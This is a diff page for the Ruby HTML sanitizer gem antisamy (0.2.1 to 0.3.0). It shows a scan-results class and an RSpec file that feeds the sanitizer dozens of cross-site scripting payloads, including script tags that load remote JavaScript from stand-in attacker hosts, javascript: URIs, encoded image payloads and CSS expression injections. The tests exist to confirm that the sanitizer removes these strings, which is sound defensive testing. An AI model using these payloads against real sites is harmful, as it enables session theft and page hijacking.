antisamy 0.2.1 → 0.3.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (51) hide show
  1. data/CHANGELOG.rdoc +13 -0
  2. data/LICENSE.txt +20 -20
  3. data/README.rdoc +41 -41
  4. data/lib/antisamy.rb +46 -46
  5. data/lib/antisamy/css/css_filter.rb +187 -187
  6. data/lib/antisamy/css/css_scanner.rb +84 -84
  7. data/lib/antisamy/css/css_validator.rb +128 -128
  8. data/lib/antisamy/csspool/rsac.rb +1 -1
  9. data/lib/antisamy/csspool/rsac/sac.rb +14 -14
  10. data/lib/antisamy/csspool/rsac/sac/conditions.rb +5 -5
  11. data/lib/antisamy/csspool/rsac/sac/conditions/attribute_condition.rb +50 -50
  12. data/lib/antisamy/csspool/rsac/sac/conditions/begin_hyphen_condition.rb +18 -18
  13. data/lib/antisamy/csspool/rsac/sac/conditions/class_condition.rb +18 -18
  14. data/lib/antisamy/csspool/rsac/sac/conditions/combinator_condition.rb +36 -36
  15. data/lib/antisamy/csspool/rsac/sac/conditions/condition.rb +29 -29
  16. data/lib/antisamy/csspool/rsac/sac/conditions/id_condition.rb +23 -23
  17. data/lib/antisamy/csspool/rsac/sac/conditions/one_of_condition.rb +18 -18
  18. data/lib/antisamy/csspool/rsac/sac/conditions/pseudo_class_condition.rb +20 -20
  19. data/lib/antisamy/csspool/rsac/sac/document_handler.rb +66 -66
  20. data/lib/antisamy/csspool/rsac/sac/error_handler.rb +13 -13
  21. data/lib/antisamy/csspool/rsac/sac/generated_parser.rb +1012 -1012
  22. data/lib/antisamy/csspool/rsac/sac/generated_property_parser.rb +9284 -9284
  23. data/lib/antisamy/csspool/rsac/sac/lexeme.rb +27 -27
  24. data/lib/antisamy/csspool/rsac/sac/lexical_unit.rb +201 -201
  25. data/lib/antisamy/csspool/rsac/sac/parse_exception.rb +4 -4
  26. data/lib/antisamy/csspool/rsac/sac/parser.rb +109 -109
  27. data/lib/antisamy/csspool/rsac/sac/property_parser.rb +44 -44
  28. data/lib/antisamy/csspool/rsac/sac/selectors.rb +5 -5
  29. data/lib/antisamy/csspool/rsac/sac/selectors/child_selector.rb +36 -36
  30. data/lib/antisamy/csspool/rsac/sac/selectors/conditional_selector.rb +45 -45
  31. data/lib/antisamy/csspool/rsac/sac/selectors/descendant_selector.rb +36 -36
  32. data/lib/antisamy/csspool/rsac/sac/selectors/element_selector.rb +35 -35
  33. data/lib/antisamy/csspool/rsac/sac/selectors/selector.rb +25 -25
  34. data/lib/antisamy/csspool/rsac/sac/selectors/sibling_selector.rb +35 -35
  35. data/lib/antisamy/csspool/rsac/sac/selectors/simple_selector.rb +21 -21
  36. data/lib/antisamy/csspool/rsac/sac/token.rb +25 -25
  37. data/lib/antisamy/csspool/rsac/sac/tokenizer.rb +185 -185
  38. data/lib/antisamy/csspool/rsac/stylesheet.rb +3 -3
  39. data/lib/antisamy/csspool/rsac/stylesheet/rule.rb +20 -20
  40. data/lib/antisamy/csspool/rsac/stylesheet/stylesheet.rb +76 -76
  41. data/lib/antisamy/html/handler.rb +112 -99
  42. data/lib/antisamy/html/sax_filter.rb +305 -302
  43. data/lib/antisamy/html/scanner.rb +47 -43
  44. data/lib/antisamy/model/attribute.rb +19 -19
  45. data/lib/antisamy/model/css_property.rb +39 -39
  46. data/lib/antisamy/model/tag.rb +31 -31
  47. data/lib/antisamy/policy.rb +577 -545
  48. data/lib/antisamy/scan_results.rb +89 -89
  49. data/spec/antisamy_spec.rb +208 -142
  50. data/spec/spec_helper.rb +12 -12
  51. metadata +79 -81
@@ -1,89 +1,89 @@
1
- module AntiSamy
2
- class ScanError < StandardError; end
3
- # Scan message, it will contain a message key, tag and optionally content, value
4
- class ScanMessage
5
- # error.tag.notfound
6
- ERROR_TAG_NOT_IN_POLICY = "error.tag.notfound"
7
- # error.tag.removed
8
- ERROR_TAG_DISALLOWED = "error.tag.removed"
9
- # error.tag.filtered
10
- ERROR_TAG_FILTERED = "error.tag.filtered"
11
- # error.tag.encoded
12
- ERROR_TAG_ENCODED = "error.tag.encoded"
13
- # error.css.tag.malformed
14
- ERROR_CSS_TAG_MALFORMED = "error.css.tag.malformed"
15
- # error.css.attribute.malformed
16
- ERROR_CSS_ATTRIBUTE_MALFORMED = "error.css.attribute.malformed"
17
- # error.attribute.invalid.filtered
18
- ERROR_ATTRIBUTE_CAUSE_FILTER = "error.attribute.invalid.filtered"
19
- # error.attribute.invalid.encoded
20
- ERROR_ATTRIBUTE_CAUSE_ENCODE = "error.attribute.invalid.encoded"
21
- # error.attribute.invalid.filtered
22
- ERROR_ATTRIBUTE_INVALID_FILTERED = "error.attribute.invalid.filtered"
23
- # error.attribute.invalid.removed
24
- ERROR_ATTRIBUTE_INVALID_REMOVED = "error.attribute.invalid.removed"
25
- # error.attribute.notfound
26
- ERROR_ATTRIBUTE_NOT_IN_POLICY = "error.attribute.notfound"
27
- # error.attribute.invalid
28
- ERROR_ATTRIBUTE_INVALID = "error.attribute.invalid"
29
- # comment removed
30
- ERROR_COMMENT_REMOVED = "error.comment.removed"
31
- # tag rule not found
32
- ERROR_CSS_TAG_RULE_NOTFOUND = "error.css.tag.notfound"
33
- # style sheet nto found
34
- ERROR_STYLESHEET_RULE_NOTFOUND = "error.stylesheet.notfound"
35
- # embedded stylesheets disabled
36
- ERROR_CSS_IMPORT_DISABLED = "error.css.import.disabled"
37
- # bad uri
38
- ERROR_CSS_IMPORT_URL_INVALID = "error.css.import.uri.invalid"
39
- # disallowed selector
40
- ERROR_CSS_TAG_SELECTOR_DISALLOWED = "error.css.tag.removed"
41
- # invalid for style sheet
42
- ERROR_STYLESHEET_SELECTOR_DISALLOWED = "error.style.tag.notallowed"
43
- # invlaid css tag property
44
- ERROR_CSS_TAG_PROPERTY_INVALID = "error.css.property.invalid"
45
- # invid style sheet roperty tag
46
- ERROR_STYLESHEET_PROPERTY_INVALID = "error.stylesheet.css.property.invalid"
47
- # exceed alloted imports
48
- ERROR_CSS_IMPORT_EXCEEDED = "error.import.exceeded.sheets"
49
- # exceede size
50
- ERROR_CSS_IMPORT_INPUT_SIZE = "error.import.exceeded.size"
51
- # Failed to import
52
- ERROR_CSS_IMPORT_FAILURE = "error.import.bad.uri"
53
- # selector not found
54
- ERROR_STYLESHEET_SELECTOR_NOTFOUND = "error.css.stylesheet.selector.notfound"
55
- # selector in css not fond
56
- ERROR_CSS_TAG_SELECTOR_NOTFOUND = "error.css.tag.selector.notfound"
57
-
58
- attr_reader :tag, :content, :value, :msgkey
59
- def initialize(msgkey, tag, content=nil,value=nil)
60
- @msgkey = msgkey
61
- @tag = tag
62
- @content = content
63
- @value = value
64
- end
65
- def to_s
66
- "#{self.msgkey} #{@tag} #{@content} #{@value}"
67
- end
68
- end
69
-
70
- # Container of scan results, provides a list of ScanMessage indicating
71
- # why elements were removed from the resulting html
72
- class ScanResults
73
- attr_reader :scan_start, :scan_end
74
- attr_accessor :messages, :clean_html
75
- def initialize(scan_start,scan_end = nil)
76
- @errors = []
77
- @scan_start = scan_start
78
- @scan_end = scan_end
79
- @clean_html = ''
80
- end
81
-
82
- # Get the calculated scan time
83
- def scan_time
84
- @scan_end ||= Time.now
85
- (@scan_end - @scan_start).round(2)
86
- end
87
-
88
- end
89
- end
1
+ module AntiSamy
2
+ class ScanError < StandardError; end
3
+ # Scan message, it will contain a message key, tag and optionally content, value
4
+ class ScanMessage
5
+ # error.tag.notfound
6
+ ERROR_TAG_NOT_IN_POLICY = "error.tag.notfound"
7
+ # error.tag.removed
8
+ ERROR_TAG_DISALLOWED = "error.tag.removed"
9
+ # error.tag.filtered
10
+ ERROR_TAG_FILTERED = "error.tag.filtered"
11
+ # error.tag.encoded
12
+ ERROR_TAG_ENCODED = "error.tag.encoded"
13
+ # error.css.tag.malformed
14
+ ERROR_CSS_TAG_MALFORMED = "error.css.tag.malformed"
15
+ # error.css.attribute.malformed
16
+ ERROR_CSS_ATTRIBUTE_MALFORMED = "error.css.attribute.malformed"
17
+ # error.attribute.invalid.filtered
18
+ ERROR_ATTRIBUTE_CAUSE_FILTER = "error.attribute.invalid.filtered"
19
+ # error.attribute.invalid.encoded
20
+ ERROR_ATTRIBUTE_CAUSE_ENCODE = "error.attribute.invalid.encoded"
21
+ # error.attribute.invalid.filtered
22
+ ERROR_ATTRIBUTE_INVALID_FILTERED = "error.attribute.invalid.filtered"
23
+ # error.attribute.invalid.removed
24
+ ERROR_ATTRIBUTE_INVALID_REMOVED = "error.attribute.invalid.removed"
25
+ # error.attribute.notfound
26
+ ERROR_ATTRIBUTE_NOT_IN_POLICY = "error.attribute.notfound"
27
+ # error.attribute.invalid
28
+ ERROR_ATTRIBUTE_INVALID = "error.attribute.invalid"
29
+ # comment removed
30
+ ERROR_COMMENT_REMOVED = "error.comment.removed"
31
+ # tag rule not found
32
+ ERROR_CSS_TAG_RULE_NOTFOUND = "error.css.tag.notfound"
33
+ # style sheet nto found
34
+ ERROR_STYLESHEET_RULE_NOTFOUND = "error.stylesheet.notfound"
35
+ # embedded stylesheets disabled
36
+ ERROR_CSS_IMPORT_DISABLED = "error.css.import.disabled"
37
+ # bad uri
38
+ ERROR_CSS_IMPORT_URL_INVALID = "error.css.import.uri.invalid"
39
+ # disallowed selector
40
+ ERROR_CSS_TAG_SELECTOR_DISALLOWED = "error.css.tag.removed"
41
+ # invalid for style sheet
42
+ ERROR_STYLESHEET_SELECTOR_DISALLOWED = "error.style.tag.notallowed"
43
+ # invlaid css tag property
44
+ ERROR_CSS_TAG_PROPERTY_INVALID = "error.css.property.invalid"
45
+ # invid style sheet roperty tag
46
+ ERROR_STYLESHEET_PROPERTY_INVALID = "error.stylesheet.css.property.invalid"
47
+ # exceed alloted imports
48
+ ERROR_CSS_IMPORT_EXCEEDED = "error.import.exceeded.sheets"
49
+ # exceede size
50
+ ERROR_CSS_IMPORT_INPUT_SIZE = "error.import.exceeded.size"
51
+ # Failed to import
52
+ ERROR_CSS_IMPORT_FAILURE = "error.import.bad.uri"
53
+ # selector not found
54
+ ERROR_STYLESHEET_SELECTOR_NOTFOUND = "error.css.stylesheet.selector.notfound"
55
+ # selector in css not fond
56
+ ERROR_CSS_TAG_SELECTOR_NOTFOUND = "error.css.tag.selector.notfound"
57
+
58
+ attr_reader :tag, :content, :value, :msgkey
59
+ def initialize(msgkey, tag, content=nil,value=nil)
60
+ @msgkey = msgkey
61
+ @tag = tag
62
+ @content = content
63
+ @value = value
64
+ end
65
+ def to_s
66
+ "#{self.msgkey} #{@tag} #{@content} #{@value}"
67
+ end
68
+ end
69
+
70
+ # Container of scan results, provides a list of ScanMessage indicating
71
+ # why elements were removed from the resulting html
72
+ class ScanResults
73
+ attr_reader :scan_start, :scan_end
74
+ attr_accessor :messages, :clean_html
75
+ def initialize(scan_start,scan_end = nil)
76
+ @errors = []
77
+ @scan_start = scan_start
78
+ @scan_end = scan_end
79
+ @clean_html = ''
80
+ end
81
+
82
+ # Get the calculated scan time
83
+ def scan_time
84
+ @scan_end ||= Time.now
85
+ (@scan_end - @scan_start).round(2)
86
+ end
87
+
88
+ end
89
+ end
@@ -1,142 +1,208 @@
1
- require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
2
-
3
- module AntiSamy
4
- describe AntiSamy do
5
- let(:policy_file) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-testing.xml"}
6
- let(:strict_policy) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-anythinggoes.xml"}
7
- let(:policy_object) {AntiSamy.policy(policy_file)}
8
-
9
- it "should load a policy" do
10
- p = AntiSamy.policy(policy_file)
11
- p.should_not == nil
12
- end
13
-
14
- it "should scan our sample html and change nothing" do
15
- input = "<p>Hi</p>"
16
- p = AntiSamy.policy(policy_file)
17
- r = AntiSamy.scan(input,p)
18
- r.clean_html.should == input
19
- end
20
-
21
- it "should tak our input and remove the script tags" do
22
- input = "<p style='font-size: 16px'>Hi</p><script> some junk</script>"
23
- expec = "<p>Hi</p>"
24
- p = AntiSamy.policy(policy_file)
25
- r = AntiSamy.scan(input,p)
26
- r.clean_html.should == expec
27
- r.messages.size.should == 2 # error 1 for script tag, error 2 for style tag
28
- end
29
-
30
- # Script attacks
31
- {
32
- "test<script>alert(document.cookie)</script>" => "script",
33
- "<<<><<script src=http://fake-evil.ru/test.js>" => "<script",
34
- "<script<script src=http://fake-evil.ru/test.js>>" => "<script",
35
- "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "<script",
36
- '<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>' => "onload",
37
- "<BODY ONLOAD=alert('XSS')>" => "alert",
38
- "<iframe src=http://ha.ckers.org/scriptlet.html <" => "<iframe",
39
- "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">" => "src"
40
- }.each_pair do |k,v|
41
- it "should remove #{v} from #{k} for script attacks" do
42
- r = AntiSamy.scan(k,policy_object)
43
- r.clean_html.should_not include(v)
44
- end
45
- end
46
-
47
- #Image Attacks
48
- {
49
- "<img src='http://www.myspace.com/img.gif'>"=>"<img",
50
- "<img src=javascript:alert(document.cookie)>"=>"<img",
51
- "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"=>"<img",
52
- "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>" => "&amp;",
53
- "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"=>"&amp;",
54
- "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">" => "alert",
55
- "<IMG SRC=\"javascript:alert('XSS')\"" => "javascript",
56
- "<IMG LOWSRC=\"javascript:alert('XSS')\">"=>"javascript",
57
- "<BGSOUND SRC=\"javascript:alert('XSS');\">"=>"javascript",
58
- }.each_pair do |k,v|
59
- it "should remove #{v} from #{k} for image attacks" do
60
- r = AntiSamy.scan(k,policy_object)
61
- r.clean_html.should_not include(v)
62
- end
63
- end
64
-
65
- # Css attacks
66
- {
67
- "<div style=\"position:absolute\">" => "position",
68
- "<style>b { position:absolute }</style>" => "position",
69
- "<div style=\"z-index:25\">" => "z-index",
70
- "<style>z-index:25</style>" => "z-index",
71
- "<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">" => "font-family"
72
- }.each_pair do |k,v|
73
- it "should remove #{v} from #{k} for CSS attacks" do
74
- r = AntiSamy.scan(k,policy_object)
75
- r.clean_html.should_not include(v)
76
- end
77
- end
78
-
79
- #href attacks
80
- {
81
- "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" => "href",
82
- "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" => "href",
83
- "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" => "ha.ckers",
84
- "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" => "ha.ckers",
85
- "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" => "xss",
86
- "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" => "javascript",
87
- "<IMG SRC='vbscript:msgbox(\"XSS\")'>" => "vbscript",
88
- "<a . href=\"http://www.test.com\">" => " . ",
89
- "<a - href=\"http://www.test.com\">" => "-",
90
- "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" => "meta",
91
- "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" => "meta",
92
- "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" => "meta",
93
- "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" => "iframe",
94
- "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" => "javascript",
95
- "<TABLE BACKGROUND=\"javascript:alert('XSS')\">" => "background",
96
- "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" => "background",
97
- "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" => "javascript",
98
- "<DIV STYLE=\"width: expression(alert('XSS'));\">" => "alert",
99
- "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" => "alert",
100
- "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" => "alert",
101
- "<BASE HREF=\"javascript:alert('XSS');//\">" => "javascript",
102
- "<BaSe hReF=\"http://arbitrary.com/\">" => "base",
103
- "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" => "object",
104
- "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" => "object",
105
- "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" => "embed",
106
- "<EMBED SRC=\"data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==\" type=\"image/svg+xml\" AllowScriptAccess=\"always\"></EMBED>" => "embed",
107
- "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
108
- "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
109
- "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
110
- "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
111
- "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "script",
112
- "<SCRIPT SRC=http://ha.ckers.org/xss.js" => "script",
113
- "<div/style=&#92&#45&#92&#109&#111&#92&#122&#92&#45&#98&#92&#105&#92&#110&#100&#92&#105&#110&#92&#103:&#92&#117&#114&#108&#40&#47&#47&#98&#117&#115&#105&#110&#101&#115&#115&#92&#105&#92&#110&#102&#111&#46&#99&#111&#46&#117&#107&#92&#47&#108&#97&#98&#115&#92&#47&#120&#98&#108&#92&#47&#120&#98&#108&#92&#46&#120&#109&#108&#92&#35&#120&#115&#115&#41&>" => "style",
114
- "<a href='aim: &c:\\windows\\system32\\calc.exe' ini='C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\pwnd.bat'>" => "calc.exe",
115
- "<!--\n<A href=\n- --><a href=javascript:alert:document.domain>test-->" => "javascript",
116
- "<a></a style=\"\"xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')\">" => "<a style=",
117
- "<a onblur=\"alert(secret)\" href=\"http://www.google.com\">Google</a>" => "blur",
118
- "<b><i>Some Text</b></i>" => "<i />",
119
- "<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">" => "font-family",
120
- "<style type=\"text/css\"><![CDATA[P { margin-bottom: 0.08in; } ]]></style>" => "margin"
121
-
122
- }.each_pair do |k,v|
123
- it "should remove #{v} from #{k} for href attacks" do
124
- r = AntiSamy.scan(k,policy_object)
125
- r.clean_html.should_not include(v)
126
- end
127
- end
128
-
129
- it "shoud import some stylesheets" do
130
- input = "<style>@import url(http://www.owasp.org/skins/monobook/main.css);@import url(http://www.w3schools.com/stdtheme.css);@import url(http://www.google.com/ig/f/t1wcX5O39cc/ig.css); </style>"
131
- r = AntiSamy.scan(input,policy_object)
132
- r.clean_html.should_not be_empty
133
- end
134
-
135
- it "should not touch this url" do
136
- input = "<a href=\"http://www.aspectsecurity.com\">Aspect Security</a>"
137
- r = AntiSamy.scan(input,policy_object)
138
- r.clean_html.should == input
139
- end
140
-
141
- end
142
- end
1
+ require File.expand_path(File.dirname(__FILE__) + '/spec_helper')
2
+
3
+ module AntiSamy
4
+ describe AntiSamy do
5
+ let(:policy_file) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-testing.xml"}
6
+ let(:strict_policy) {"#{File.join(File.dirname(__FILE__), '..', 'policy-examples')}/antisamy-anythinggoes.xml"}
7
+ let(:policy_object) {AntiSamy.policy(policy_file)}
8
+
9
+ it "should load a policy" do
10
+ p = AntiSamy.policy(policy_file)
11
+ p.should_not == nil
12
+ end
13
+
14
+ it "should handle a missing head tag in a full document" do
15
+ input =<<-HTML
16
+ <html>
17
+ <body>some text</body>
18
+ </html>
19
+ HTML
20
+ p = AntiSamy.policy(policy_file)
21
+ r = AntiSamy.scan(input,p)
22
+ r.clean_html.gsub(/\n/,'').should == input.gsub(/\t|\n/,'')
23
+ end
24
+
25
+ it "should handle a document and keep the html tag" do
26
+ input =<<-HTML
27
+ <html>
28
+ <head><title>sup</title></head>
29
+ <body>some text</body>
30
+ </html>
31
+ HTML
32
+ p = AntiSamy.policy(policy_file)
33
+ r = AntiSamy.scan(input,p)
34
+ r.clean_html.gsub(/\n/,'').should == input.gsub(/\t|\n/,'')
35
+ end
36
+
37
+ it "should allow empty tags" do
38
+ input =<<-HTML
39
+ <html>
40
+ <head><title>sup</title></head>
41
+ <body>some text<br><div></div></body>
42
+ </html>
43
+ HTML
44
+ p = AntiSamy.policy(policy_file)
45
+ r = AntiSamy.scan(input,p)
46
+ r.clean_html.gsub(/\n/,'').should == input.gsub(/\t|\n/,'')
47
+ end
48
+
49
+ it "shoulw remove an empty tag as per the poilicy" do
50
+ input =<<-HTML
51
+ <html>
52
+ <head><title>sup</title></head>
53
+ <body>some text<br><h2/></body>
54
+ </html>
55
+ HTML
56
+ expect =<<-HTML
57
+ <html>
58
+ <head><title>sup</title></head>
59
+ <body>some text<br></body>
60
+ </html>
61
+ HTML
62
+ p = AntiSamy.policy(policy_file)
63
+ r = AntiSamy.scan(input,p)
64
+ r.clean_html.gsub(/\n/,'').should == expect.gsub(/\t|\n/,'')
65
+ end
66
+
67
+ it "should wrap plain text" do
68
+ input = "Hi"
69
+ p = AntiSamy.policy(policy_file)
70
+ r = AntiSamy.scan(input,p)
71
+ r.clean_html.should == "<p>#{input}</p>"
72
+ end
73
+
74
+ it "should scan our sample html and change nothing" do
75
+ input = "<p>Hi</p>"
76
+ p = AntiSamy.policy(policy_file)
77
+ r = AntiSamy.scan(input,p)
78
+ r.clean_html.should == input
79
+ end
80
+
81
+ it "should tak our input and remove the script tags" do
82
+ input = "<p style='font-size: 16px'>Hi</p><script> some junk</script>"
83
+ expec = "<p>Hi</p>"
84
+ p = AntiSamy.policy(policy_file)
85
+ r = AntiSamy.scan(input,p)
86
+ r.clean_html.should == expec
87
+ r.messages.size.should == 2 # error 1 for script tag, error 2 for style tag
88
+ end
89
+
90
+ # Script attacks
91
+ {
92
+ "test<script>alert(document.cookie)</script>" => "script",
93
+ "<<<><<script src=http://fake-evil.ru/test.js>" => "<script",
94
+ "<script<script src=http://fake-evil.ru/test.js>>" => "<script",
95
+ "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>" => "<script",
96
+ '<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>' => "onload",
97
+ "<BODY ONLOAD=alert('XSS')>" => "alert",
98
+ "<iframe src=http://ha.ckers.org/scriptlet.html <" => "<iframe",
99
+ "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">" => "src"
100
+ }.each_pair do |k,v|
101
+ it "should remove #{v} from #{k} for script attacks" do
102
+ r = AntiSamy.scan(k,policy_object)
103
+ r.clean_html.should_not include(v)
104
+ end
105
+ end
106
+
107
+ #Image Attacks
108
+ {
109
+ "<img src='http://www.myspace.com/img.gif'>"=>"<img",
110
+ "<img src=javascript:alert(document.cookie)>"=>"<img",
111
+ "<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>"=>"<img",
112
+ "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>" => "&amp;",
113
+ "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"=>"&amp;",
114
+ "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">" => "alert",
115
+ "<IMG SRC=\"javascript:alert('XSS')\"" => "javascript",
116
+ "<IMG LOWSRC=\"javascript:alert('XSS')\">"=>"javascript",
117
+ "<BGSOUND SRC=\"javascript:alert('XSS');\">"=>"javascript",
118
+ }.each_pair do |k,v|
119
+ it "should remove #{v} from #{k} for image attacks" do
120
+ r = AntiSamy.scan(k,policy_object)
121
+ r.clean_html.should_not include(v)
122
+ end
123
+ end
124
+
125
+ # Css attacks
126
+ {
127
+ "<div style=\"position:absolute\">" => "position",
128
+ "<style>b { position:absolute }</style>" => "position",
129
+ "<div style=\"z-index:25\">" => "z-index",
130
+ "<style>z-index:25</style>" => "z-index",
131
+ "<div style=\"font-family: Geneva, Arial, courier new, sans-serif\">" => "font-family"
132
+ }.each_pair do |k,v|
133
+ it "should remove #{v} from #{k} for CSS attacks" do
134
+ r = AntiSamy.scan(k,policy_object)
135
+ r.clean_html.should_not include(v)
136
+ end
137
+ end
138
+
139
+ #href attacks
140
+ {
141
+ "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">" => "href",
142
+ "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">" => "href",
143
+ "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>" => "ha.ckers",
144
+ "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" => "ha.ckers",
145
+ "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>" => "xss",
146
+ "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS" => "javascript",
147
+ "<IMG SRC='vbscript:msgbox(\"XSS\")'>" => "vbscript",
148
+ "<a . href=\"http://www.test.com\">" => " . ",
149
+ "<a - href=\"http://www.test.com\">" => "-",
150
+ "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">" => "meta",
151
+ "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">" => "meta",
152
+ "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">" => "meta",
153
+ "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>" => "iframe",
154
+ "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>" => "javascript",
155
+ "<TABLE BACKGROUND=\"javascript:alert('XSS')\">" => "background",
156
+ "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">" => "background",
157
+ "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">" => "javascript",
158
+ "<DIV STYLE=\"width: expression(alert('XSS'));\">" => "alert",
159
+ "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">" => "alert",
160
+ "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>" => "alert",
161
+ "<BASE HREF=\"javascript:alert('XSS');//\">" => "javascript",
162
+ "<BaSe hReF=\"http://arbitrary.com/\">" => "base",
163
+ "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>" => "object",
164
+ "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>" => "object",
165
+ "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>" => "embed",
166
